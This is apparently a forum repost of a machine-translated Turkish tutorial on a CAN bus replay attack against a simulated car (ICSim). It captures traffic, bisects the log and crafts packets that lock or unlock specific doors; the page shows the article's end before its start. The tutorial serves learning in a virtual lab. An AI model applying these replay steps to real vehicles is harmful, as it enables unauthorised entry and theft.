Tanımlayıcı aradığımız şeyle eşleşmediğinden, yukarıdaki çıktıda görüntülenen son satırı yok sayabiliriz. Kapı veri paketleri, üçüncü baytın ikinci yarımında değiştirilir. Data bölümünde F ile satırı alıp “doorsLock” adında yeni bir dosya oluşturalım. Daha sonra bunu tekrar oynatacağız ve bu paketin tüm kapıları kilitleyip kilitlemeyeceğini belirlemek için IC Simulator penceresini izleyeceğiz.

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#00000F000000' > doorsLock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsLock
3yua3m2.png
Kapılar artık tek bir veri paketi ile kilitlenmiştir.

Verileri Daha Fazla Analiz Etme

CAN veri yolu aracılığıyla tüm araba kapılarının kilidinin açılmasını ve kilitlenmesini başarıyla yakaladık ve yeniden oynattık. Verileri daha fazla analiz edebilir ve kapıları hep ya da hiçten daha ayrıntılı bir şekilde kontrol edip edemeyeceğimizi görebiliriz. İki CAN paketini tekrar gözden geçirelim:

(1654550641.304018) VCAN0 19B # 000000000000

(1654550642.133853) VCAN0 19B # 00000 F 000000

Daha önce belirttiğimiz gibi, veriler üçüncü baytın ikinci yarım baytında değiştirilir. Bu küçük parçayı ikili formatına ayırırsak, onu şu şekilde gösterebiliriz:
8​
4​
2​
1​
ALTIGEN
0​
0​
0​
0​
0​
1​
1​
1​
1​
F​
Tüm kapıların kilidini açan paket, o kemirmeyi 0 olarak temsil eder . Tüm kapıları kilitleyen paket yarım baytlığı onaltılık F olarak temsil eder . Bunu ikiliye bölmek, 16 olası kapı kombinasyonu verir. 16 varyasyonun hepsini test etmek yerine, hangi bitin hangi kapıyı kontrol ettiğini manuel olarak belirlemeye çalışalım. Bunu yapmak için aşağıdaki organizasyonla 4 dosya daha oluşturmayı düşünebiliriz:
8​
4​
2​
1​
ALTIGEN​
KAPI​
1​
0​
0​
0​
8​
?​
0​
1​
0​
0​
4​
?​
0​
0​
1​
0​
2​
?​
0​
0​
0​
1​
1​
?​
Artık hangi bitin hangi kapıyı kontrol ettiğini belirlemek için 4 ayrı dosya oluşturabilir ve tekrar oynatabiliriz. Yeni veri paketleri şöyle görünecek ve her biri kendi dosyasında olacak:

(1654550641.304018) VCAN0 19B # 00000 8 000000

(1654550642.133853) VCAN0 19B # 00000 4 000000

(1654550641.304018) VCAN0 19B # 00000 2 000000

(1654550642.133853) VCAN0 19B # 00000 1 000000

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000008000000' > doors8
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000004000000' > doors4
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000002000000' > doors2
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000001000000' > doors1
Bu gates # dosyalarının her birini yeniden oynatmak aşağıdaki bulgularla sonuçlanır:
8​
4​
2​
1​
ALTIGEN
KAPI​
1​
0​
0​
0​
8​
ARKA YOLCU​
0​
1​
0​
0​
4​
ARKA SÜRÜCÜLER​
0​
0​
1​
0​
2​
ÖN YOLCU​
0​
0​
0​
1​
1​
ÖN SÜRÜCÜLER​

q04pemf.png

Her kapının hareketini göz önüne alırsak, 1 kapıyı kilitlemek için ve 0 kapının kilidini açmak için harekettir. Hal böyle olunca kapılarımızı tanımladığımızda, tanımlanan kapıya kapıyı kilitleme talimatı verilirken, diğerlerine kilidi açma talimatı verildi. Artık araçtaki kapıları kilitlemek veya kilidini açmak için verilerde herhangi bir değişiklik yapabiliriz.

Bu makaleyi bitirmeden önce son bir örneğe bakalım. Aracın her iki arka kapısını da kilitlemek ve ön kapıların kilidini açmak istiyorsak, CAN paketindeki ikiliyi nasıl değiştirebiliriz?
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
?​
?​
?​
?​
?​
Kilit açma biti 0 ise ön kapıları 0 değeriyle doldurabiliriz . 1 değeri kapıların kilitlenmesine neden olur, bu nedenle sonuç şöyle olur:
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
1​
1​
0​
0​
C​
Bunun ikili sonucu 1(8) + 1(4) + 0(2) + 0(1) = 8+4+0+0 = 12 olacaktır. Onaltılık biçimde 12, C'dir . Bu, CAN paketimizi şu şekilde değiştirir:

(1654550641.304018) VCAN0 19B # 00000 C 000000

Bu paketle başka bir dosya oluşturalım ve buna “unlockFront” adını verelim. Bu paketi ağda tekrar oynayarak ve sonucu izleyerek test edebiliriz.
pfqf601.png

Her kapıyı başarılı bir şekilde kontrol ediyoruz ve istediğimiz kilitsiz/kilitli kapı kombinasyonunu yapabiliyoruz.

Daha fazla öğrenmek ister misiniz?

Bu makalenin başlarında belirtildiği gibi, araba korsanlığı hakkında daha fazla bilgi edinmek ve konuya daha derin bir dalış yapmak için harika bir kaynak, Craig Smith'in The Car Hacker's Handbook adlı kitabında ele alınmaktadır . Araba hackleme konusunda daha fazla gerçek dünya deneyimi edinmek istiyorsanız,Car Hacking Village ,topluluğuna da göz atmanızı tavsiye ederim. Diğer bazı değerli kaynaklar,CSS Electronics,Illmatics'tir.

Çözüm

Bu makalede, bir CAN veri yolunun ne olduğunu, araç iletişiminde nasıl rol oynadığını, bir simülasyon yürütmek için gerekli araçları kurmayı ve kilit açma veya kilitleme komutunu göndermek için sanal araçtaki her bir kapıyı kontrol etmeyi tanımlayabildik.

Araba korsanlığı biraz riskli olabilir, bu nedenle bu bilgiyi simüle edilmiş bir ortamda veya dikkatli bir şekilde kullanmanızı öneririz.Gerçek bir aracı hacklemeye karar verirseniz, lütfen her türlü olasılığı göz önünde bulundurduğunuzdan emin olun ve bunun riski size aittir.

NOT:Yapılan Hacklerden Ben Veya TurkHackTeam Ailesi Sorumlu Değildir.Konunun Bazı Kısımları Alıntıdır :)
iUBacd.gif
q6iq2ex.jpg
Teşekkürler..
 
11 Kas 2022
95
26
6t3q7nb.png

Selam millet! Pek çok kişinin bilmediği rastgele bir bilgisayar korsanlığı konusu hakkında başka bir blog gönderisi paylaşmaktan mutluluk duyuyorum: Araba Hacking! Bu maddenin geçerliliğine inanmakla birlikte, araçlardaki tek saldırı vektörü olmadığını baştan belirtmek isterim. Umarım bu, cihazların ve sistemlerin nasıl analiz edilebileceği ve bu denetimlerin bir saldırgan tarafından nasıl kullanılabileceği ve hatta kötüye kullanılabileceği konusunda bazı içgörüler elde etmek için yaratıcı bir şekilde düşünmenin başka bir yolu olarak hizmet eder.

Bilgisayar korsanlığının saldırı açısından geldiği genel nüansına rağmen, bilgisayar korsanlığı çabalarından elde edilebilecek faydalar vardır. Araçlar söz konusu olduğunda, bu, bir araçtaki belirli özelliklerin kilidinin açılması, daha önce var olan limitlerin kaldırılması veya olumlu sonuç verebilecek yeni teknolojinin yaratılmasına yardımcı olma şeklinde olabilir (bazı araba sigorta şirketlerinin sağladığı cihazlar gibi) bir müşteri 'iyi sürücü' indirimi alabilir). Bu fikirlerden burada bahsedilirken, o kadar derine inmeyeceğiz.

Ayrıca, bu makalede belirtilen kavramları denerseniz ve bunun olumsuz bir sonucu olursa, yazar veya Offensive Security'nin sorumlu tutulmayacağı söylenmelidir. Bir aracı hacklerken risk olabilir. Fiziksel bir aracı hacklemeye karar verirseniz, bunun riski size aittir. Neyse ki, bu makalede egzersiz fırsatları sağlamak ve uygulamalı deneyim kazanmak için sanal bir seçenek ele alınacaktır.

Bununla birlikte, bir CAN veri yolunun ne olduğunu açıklayarak başlayalım!

CAN veriyolu nedir?

CAN veri yolu (Denetleyici Alan Ağı veri yolu), bir aracın bileşenleri ile iletişim kurduğu merkezi bir ağdır. Bunu aracın elektrik sinyalleri ile çalışan birçok fonksiyonu olması açısından düşünebiliriz. Arabada kapı kilitleri, bir hız göstergesi, bir gaz göstergesi, frenler için kontroller, gaz pedalı için kontroller ve çok daha fazlası var. Bu cihazların çoğu, bu ağ üzerinden iletişim kurar.

OBD-II

OBD-II (Yerleşik teşhis 2) konnektörü, araç kodlarının kolayca teşhis edilmesini sağlayan araç üzerindeki bir bağlantı noktasıdır. Çoğu zaman araçlarımızı bir tamirciye getirdiğimizde aracın gönderdiği hata kodunu almak için bu porta bir bilgisayar cihazı takarlar. Bu, kontrol motoru ışığını açmış olabilecek sorunlar veya hatta bir göstergeyle sonuçlanmayan sorunlar için çok daha hızlı çözümler sağlar.

Bu bağlantı noktalarına erişim genellikle çok kolaydır. Normalde pedalların yanında ön panelin altında, direksiyon kolonunun arkasında ve hatta yolcu tarafında ön panelin altında bulunurlar. İşte OBD-II bağlantı noktasındaki bir fişin resmi:

pscogal.png

Bu porta fiziksel bir bağlantı sağlanması açısından CANtact gibi bir cihaz satın alınabilir hatta yapılabilir . Fiziksel cihazın kullanılması bu makalenin kapsamı dışında kalacaktır, ancak bu makalede ele alınan hack, ister fiziksel bir araçta ister sanal simülatörde yapılsın aynıdır. CAN veriyolunda iletişim kurmak için erişim noktası OBD-II bağlantı noktası olacaktır.

CAN Veri Yolu Ağı Temelleri

Yerel CAN veri yolu ağında, paketler bir hub gibi gönderilir ve alınır. Bir merkeze aşina olmayanlarınız için, veri paketleri tüm cihazlar tarafından görülebilir. Bu konudaki yabani otlara fazla girmek istemiyorum, ancak anahtarların veri paketlerinin bir hedeften diğerine paylaşımını kontrol ettiğini, oysa bir hub'ın paketleri o ağ cihazındaki herkese gönderdiğini bilin. Hub'lar gürültülüdür ve o ağa kulak misafiri olma özelliğinden dolayı güvensiz bir ağ cihazı olarak kabul edilir.

Bununla birlikte, bu makalenin esas olarak odaklanacağı kapı kilitlerini ele alalım. Kapımızdaki kilit düğmesine basarsak, CAN bus üzerinden ağdaki her cihaza bir elektrik sinyali gönderilir ve kapılar veri paketini yorumlar. Veri paketinde bir komut olacaktır: kilitle veya kilidini aç. Veri paketini alan kapılar, bu talimatı alacak ve veri paketindeki yönergeyi uygulayacaktır.

Araçta bulunan birçok cihaz bu şekilde çalışmakta, burada bir aksiyon tetiklenmekte, ağ üzerinden veri gönderilmekte ve veri paketinin tanımladığı ile ilgili cihaz harekete geçmektedir. Gaz pedalına basmak, ağda gaz akışının artmasını söyleyen veri paketlerinin gönderilmesine ve dolayısıyla arabanın daha hızlı gitmesine neden olur. Bu da, hız göstergesinin aracın gittiği uygun hızı yansıtması için yükselmesine neden olabilir. Hız göstergesinin yükselme miktarı, ağda gönderilen ve gaz pedalına ne kadar basıldığına bağlı olarak değişen talimatlara bağlı olacaktır.

Ağda gönderilen paketler iki bölümden oluşur: tanımlayıcı ve veriler. Tanımlayıcı, cihazın araçtaki temsilidir. Veri alanı, söz konusu cihazla tamamlanması gereken talimatı temsil eder. Aşağıdaki örneği ele alalım:

120 # F289632003200320

Paketin başlangıç bölümü tanımlayıcıdır. Bu durumda tanımlayıcı 120'dir. Paketin #'den sonra kalan kısmı veri alanıdır.

Örnek olarak bu tanımlayıcıyı ve veri segmentini kullanıyor olsak da, tanımlayıcının yıl, marka ve model olarak farklı araçlar arasında aynı olmayacağını bilmek önemlidir. 120'nin tanımlayıcısı, 2019 Honda Civic'teki gaz pedalı (gaz pedalı) olabilir, ancak 2022 Toyota Sienna'daki camlar olabilir. Bununla, tanımlayıcı etiketi olan bir aracın cihazlarını tanımlayabiliriz, ancak yalnızca aynı yıl/marka/modele sahip diğer araçlar, bu tanımlayıcı etiket değeriyle kontrol edilen aynı cihaza sahip olacaktır.

CAN veri yolu hakkında bilinmesi gereken son şey, paketlerin bu ağ üzerinden sürekli olarak gönderildiğidir, araçta herhangi bir güç olduğu sürece (yani motorun çalıştırılmasına gerek yoktur), ağ aktif olacaktır.

Hack nedir?

Bu durumda hack, CAN veri yolu ağına yapılan bir tekrar saldırısıdır. Ağda gönderilen paketleri dinleyebilir, bir eylemi manuel olarak tamamlayabilir (bizim durumumuzda kapıları kilitleme/kilit açma) ve aynı eylemin gerçekleşmesini sağlamak için paketleri ağa geri oynatabiliriz - kilitleme/kilit açma düğmelerine rağmen basılıyor.

Bu bilgisayar korsanlığı alıştırmasını tamamlamadan önce, dahili bir sanal simülatörde bunu yapmak için gerekli araçları nasıl kuracağımıza bir göz atalım.

Araçları Ayarlama

Aşağıdaki adımlar, VirtualBox üzerinde yeni bir Kali 2022.2 kurulumunda tamamlanmıştır. Bu makaleyi idare edilebilir bir uzunlukta tutmak için, bu VirtualBox veya Kali kurulumları ele alınmayacaktır. Kali-tweaks yardımcı programı, varsayılan iki satırlık çıktıyı tek bir satıra değiştirmek için de çalıştırıldı . Bu süreçte kuracağımız üç araç var:

  • ICSim (Enstrüman Kümesi Simülatörü)
  • Soketcand
  • Kayık
Öncelikle Kali makinemize önkoşul paketleri yükleyelim
Kod:
kali@kali:~$ sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf

[sudo] password for kali:

…

Do you want to continue? [Y/n] Y
…
Çalışmak için bir “Car_Hacking” dizini oluşturalım ve o dizine girelim.
Kod:
kali@kali:~$ mkdir Documents/Car_Hacking
kali@kali:~/Documents/Car_Hacking$ cd Documents/Car_Hacking
Yeni oluşturulan dizinin içinde ICSim Git deposunu klonlayalım .
Kod:
kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/zombieCraig/ICSim.git
Cloning into 'ICSim'...
remote: Enumerating objects: 135, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 135 (delta 1), reused 3 (delta 1), pack-reused 130
Receiving objects: 100% (135/135), 1.09 MiB | 2.68 MiB/s, done.
Resolving deltas: 100% (68/68), done.
Mevcut çalışma dizinimize klonlanmış ICSim deposu ile ICSim dizinine girelim ve gerekli ikiliyi yapmak için kodu derleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd ICSim
kali@kali:~/Documents/Car_Hacking/ICSim$ sudo make
gcc -I/usr/include/SDL2   -c -o icsim.o icsim.c
gcc -I/usr/include/SDL2 -o icsim icsim.c lib.o -lSDL2 -lSDL2_image
gcc -I/usr/include/SDL2   -c -o controls.o controls.c
gcc -I/usr/include/SDL2 -o controls controls.c -lSDL2 -lSDL2_image
Car_Hacking dizinine geri dönelim ve socketcand deposunu da kopyalayalım .
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ cd ..

kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/linux-can/socketcand.git
Cloning into 'socketcand'...
remote: Enumerating objects: 923, done.
remote: Total 923 (delta 0), reused 0 (delta 0), pack-reused 923
Receiving objects: 100% (923/923), 273.95 KiB | 931.00 KiB/s, done.
Resolving deltas: 100% (547/547), done.
Yerine klonlanan socketcand deposu ile paketi yapılandıralım, derleyelim ve yükleyelim. Eksik bir dosya var, bu yüzden o dosyayı yerine kopyalayarak başlamamız gerekecek.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd socketcand
kali@kali:~/Documents/Car_Hacking/socketcand$ wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3773 (3.7K) [text/plain]
Saving to: ‘config.h.in’
config.h.in         100%[================>]   3.68K  --.-KB/s    in 0s
2022-06-06 10:52:38 (80.8 MB/s) - ‘config.h.in’ saved [3773/3773]
Başlık dosyası yerindeyken paketi yapılandıralım, derleyelim ve yükleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ autoconf
configure.ac:6: warning: The macro `AC_CONFIG_HEADER' is obsolete.
configure.ac:6: You should run autoupdate.
./lib/autoconf/status.m4:719: AC_CONFIG_HEADER is expanded from...
configure.ac:6: the top level
kali@kali:~/Documents/Car_Hacking/socketcand$ ./configure
checking for gcc... gcc
checking whether the C compiler works... yes
…
kali@kali:~/Documents/Car_Hacking/socketcand$ make clean           
rm -f socketcand socketcandcl *.o
kali@kali:~/Documents/Car_Hacking/socketcand$ make
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcand ./socketcand.c ./statistics.c ./beacon.c ./state_bcm.c ./state_raw.c ./state_isotp.c ./state_control.c -lpthread
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcandcl ./socketcandcl.c
kali@kali:~/Documents/Car_Hacking/socketcand$ sudo make install                                               
mkdir -p /usr/local/bin
cp ./socketcand /usr/local/bin/
cp ./socketcandcl /usr/local/bin/
mkdir -p /usr/local/share/man
cp ./socketcand.1 /usr/local/share/man/
mkdir -p /etc/
install -m 0644 ./etc/socketcand.conf /etc/
if [ yes = yes ]; then mkdir -p /etc/init.d; install --mode=755 ./init.d/socketcand /etc/init.d/socketcand; fi
if [ no = yes ]; then install --mode=755 ./rc.d/socketcand /etc/rc.d/socketcand; fi
Socketcand yüklendikten sonra, "Car_Hacking" dizinine geri dönelim ve Kayak Git deposunu klonlayalım
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ cd ..

kali@kali:~/Documents/Car_Hacking/$ git clone https://github.com/dschanoeh/Kayak.git
Cloning into 'Kayak'...
remote: Enumerating objects: 6298, done.
remote: Total 6298 (delta 0), reused 0 (delta 0), pack-reused 6298
Receiving objects: 100% (6298/6298), 2.90 MiB | 4.58 MiB/s, done.
Resolving deltas: 100% (1927/1927), done.
Artık Kayak dizinine geçebilir ve Maven ile paketi kurabiliriz.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd Kayak
kali@kali:~/Documents/Car_Hacking/Kayak$ mvn clean package
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[INFO] Scanning for projects...
...

Hack'i Yürütme

Bu işlem için aynı anda birden fazla terminal sekmesi ile çalışmamız gerekecek. Bu işlevlerin her biri için ayrı bir sekmeye ihtiyacımız olacak:

  • Simülatörü çalıştır
  • Kontrolleri çalıştır
  • Veri paketlerini yakalayın ve yeniden oynatın
Simülatörü ilk sekmede başlatalım. Bunun ilk adımı vcan (sanal CAN) arayüzünü kurmaktır. ICSim dizinine geçelim ve kurulum betiğini çalıştıralım.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd ../ICSim

kali@kali:~/Documents/Car_Hacking/ICSim$ ./setup_vcan.sh
[sudo] password for kali:
Arayüz kurulumu ile yeni oluşturulan arayüz üzerinde sanal simülatörü başlatabiliriz. Bu, oluşturduğumuz ilk vcan arayüzü olduğu için vcan0 olacaktır.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./icsim vcan0
Using CAN interface vcan0
Terminalde ikinci bir sekme açıp kontrollere başlayalım.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./controls vcan0
 Warning: No joysticks connected
Hangi sekmenin hangi işleve gittiğini takip etmek için terminal oturumu sekmelerini yeniden adlandırdım ve ICSim uygulaması açıkken ekran şimdi böyle görünüyor.
pcq7mtb.png

İstesek bilgisayara bir kumanda bağlayıp o kumandayı araç komutlarını değiştirmek için kullanabiliriz. Bu makale için, simülatörü manipüle etmek için klavye tuşlarını kullanacağız.
Bu, kontrollere ve bunların alet kümesi simülatörünü nasıl etkilediğine alışmak için iyi bir zaman olacaktır. CANBus Kontrol Paneli penceresi aktifken sanal aracımızı manipüle etmeye başlayabiliriz. Örneğin SOL ok tuşunu basılı tutarsak sola dönüş sinyalleri yanıp sönecektir. YUKARI oka basarsak , aracın hızlandığını simgeleyen hız göstergesi artacaktır. Yukarıdaki resimde tüm kapılar kilitli. Sağ SHIFT+A|B|X|Y tuşlarına basarsak , her seferinde bir kapının kilidi açılır. Sol SHIFT tuşu, kapı düğmelerinden herhangi birine basıldığında kapıları tekrar kilitleyecektir. Sol SHIFT'e ve ardından Sağ SHIFT'e basarsak, tüm kapıların kilidi açılır.

Bir kapının kilidi zaten açılmışsa, kapı zaten kilitsiz durumda olduğundan IC Simülatör penceresi bir değişiklik göstermeyecektir. Şimdilik, aracın tüm kapılarının kilidini açmaya ve kilitlemeye odaklanalım. Tüm kapılar kilitliyken başlayarak, tüm kapıların kilidini açmak için Sola SHIFT'e ve ardından Sağa SHIFT'e basacağız. Ardından, tekrar kilitlemek için Sağ SHIFT'e ve ardından Sol SHIFT'e basacağız . Aşağıdaki resimler, ekranın nasıl görünmesi gerektiğini göstermektedir.
mtc8dvz.png
9nm0s82.png

Şimdi, veri paketi yakalama ve yeniden oynatma ile çalışmak için başka bir sekme başlatalım. Dizin yapımızı dağınık hale getirmemek için, içinde çalışacağımız bir Demo dizini oluşturacağız.
Kod:
kali@kali:~/Documents/Car_Hacking$ mkdir Demo
kali@kali:~/Documents/Car_Hacking$ cd Demo
Artık Demo'da olduğumuza göre, loglama için -l seçeneği ile candump yardımcı programını vcan arabiriminde çalıştıralım .
Hiçbir şey yapmadan bunu 5 saniye çalıştıracağız ve dinleyiciyi durdurmak için CTRL-C tuşlarına basacağız.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_141619.log'
^C
 kali@kali:~/Documents/Car_Hacking/Demo$ ls
candump-2022-06-06_141619.log
Hiçbir şey yapmamamızın ve yalnızca dinleyiciyi başlatıp durdurmaya odaklanmamızın nedeni, bir CAN veri yolu ağının ne kadar gürültülü olabileceğini göstermektir. Bir satır sayımı için kelime sayma komutunu ( wc ) çalıştıralım ve dinleyicimizin açık olduğu 5 saniyede kaç paket gönderildiğini gözlemleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_141619.log
13757 candump-2022-06-06_141619.log
Dinleyicinin 5 saniyesi içinde ağa 13.757 paket gönderildi. Henüz kontrolörle herhangi bir komut bile göndermedik!

Daha fazla ilerlemeden önce, oyun planımızı ortaya koyalım. Bu hack için, kapıları manipüle etmekten hangi tanımlayıcının sorumlu olduğunu belirlemek istiyoruz. Mümkün olduğunca çabuk, şu adımları uygulayacağız:
  1. vcan0 arabiriminde oturum açarak candump'ı başlatın
  2. CANbus Kontrol Paneli penceresini aktif hale getirin
  3. Tüm kapıların kilidini aç
  4. tüm kapıları kilitle
  5. Candump terminal penceresinde tıklayın
  6. Ağ yakalamayı durdurmak için CTRL-C'ye basın
Amacımız, günlük dosyasını olabildiğince küçük tutmak için yukarıdaki adımları olabildiğince çabuk tamamlamaktır. Dosyaları karıştırmamak için başlamadan önce önceki günlüğü de sileceğiz.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ rm candump-2022-06-06_141619.log
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l             
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_142359.log'
^C
Yukarıda listelenen adımlar tamamlandı ve terminal çıktısı yukarıda gösterildi. Yeni oluşturduğumuz log dosyasında satır sayısını göstermek için wc komutunu çalıştıralım
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_142359.log
9293 candump-2022-06-06_142359.log
Artık ağda gönderilen 9.293 paket içeren yeni bir günlük dosyamız var.

Şimdi bu günlük dosyasını ağa geri oynatmak ve IC Simulator penceresini izlemek için canplayer yardımcı programını kullanalım. Her şey yolunda giderse, kapıların kilidinin açılıp tekrar kilitlendiğini göreceğiz. -I (büyük harf) seçeneği ile log dosyamızı belirtebiliriz .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I candump-2022-06-06_142359.log
Ne yazık ki, bir makale sonuçları paylaşmanın en kolay yolu değildir. Bu etkinliği yaparken, günlük dosyamızı yeniden oynatmak, sanal aracın kapılarının kilidinin açılmasına ve tekrar kilitlenmesine neden oldu.

Günlük tekrarının istek üzerine çoğaltmak istediğimiz eylemi gerçekleştirdiğini doğruladığımıza göre, kapı işlemlerinden hangi paketlerin sorumlu olduğunu bulma algoritmasına bakmamız gerekiyor. Aşağıdaki görüntü, Craig Smith tarafından yazılan “The Car Hacker's Handbook”un 77. sayfasından alınmıştır.
ddytwpx.png
Doğrulanmış günlük dosyası istediğimiz eylemi gerçekleştirirken, eylemin dosyanın neresinde gerçekleştiğine dair en iyi tahminde bulunabiliriz. Bu tahminle, dosyanın ilk yarısını veya son yarısını oynatmaya karar verebiliriz. Orijinal dosyayı ikiye böleceğiz ve canplayer yardımcı programı ile tekrar oynatacağız. Yeni dosyayı yeniden yürüttüğümüzde, IC Simulator penceresinde istenen eylemin gerçekleşip gerçekleşmediğini izleyeceğiz. Yeniden oynatılan dosya simülatörde etkiye neden oluyorsa, o dosyayı tekrar ikiye böleceğiz ve yarılardan birini yeniden oynatacağız. Simülatörde etkiye neden olmazsa, dosyanın diğer yarısını alabilir, tekrar oynatabilir ve eylemin dosyanın bu yarısında olduğunu doğrulayabiliriz.

Bu algoritmanın yeterince yinelenmesiyle, kapıların kilidini açmaktan sorumlu CAN paketini izole edebileceğiz. Ayrıca bu günlük dosyasını yarıya indirme sürecinde , dosyayı tekrar oynatmadan önce kapıları kilitlemek için CANbus Kontrol Paneli penceresindeki kontrolleri manuel olarak kullanmamız gerekecek bir noktaya geleceğiz . Unutmayın, kapılar zaten açık durumdaysa IC Simülatörü bir değişiklik göstermez.

-n seçeneğiyle head veya tail kullanabilir ve dosyanın yaklaşık yarısını yeniden oynatmak için alabiliriz. Her yinelemeyi açıklamadan, kapı kilidi açma CAN paketinin tanımlanmasına ulaşmak için komut çıktısını burada bulabilirsiniz:

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 4600 candump-2022-06-06_142359.log > split1
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split1
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l split1                 
4600 split1
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2300 split1 > split2
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split2
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 1100 split2 > split3
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split3
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 500 split3 > split4
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split4 
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5 
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5 
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6 
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 50 split6 > split7
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split7 
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8 
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8 
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9 
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9 
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 5 split9 > split10
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split10
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11 
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11 
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock                                                                       
kali@kali:~/Documents/Car_Hacking/Demo$ cat split10
(1654550641.303029) vcan0 17C#0000000010000030
(1654550641.303046) vcan0 18E#00007A
(1654550641.304018) vcan0 19B#000000000000
(1654550641.305246) vcan0 294#040B0002CF5A002C
(1654550641.305260) vcan0 21E#03E8374522062F
Ağ trafiği tekrarının son kısmı, 5 satırın son 2'sini ve ardından 5 satırın ilk 2'sini aldı. Her iki bölünmüş dosya çalışmadan, bu dosyanın ortasının kapıların açılmasını kontrol eden paket olduğunu anlayabiliriz. Yine de bunu sadece bir kesintiye bırakmayalım. Bu satırı, “doorsUnlock” adlı kendi dosyasına kopyalayalım ve davranışı gözlemlemek için o dosyayı yeniden oynatalım.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550641.304018) vcan0 19B#000000000000' > doorsUnlock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsUnlock
4hr7p7j.png

IC Simülatöründeki kapılar bu tek CAN paketi ile açıldı. Bu paketin içeriğini inceleyelim.https://www.offensive-security.com/wp-content/uploads/2022/07/04.png

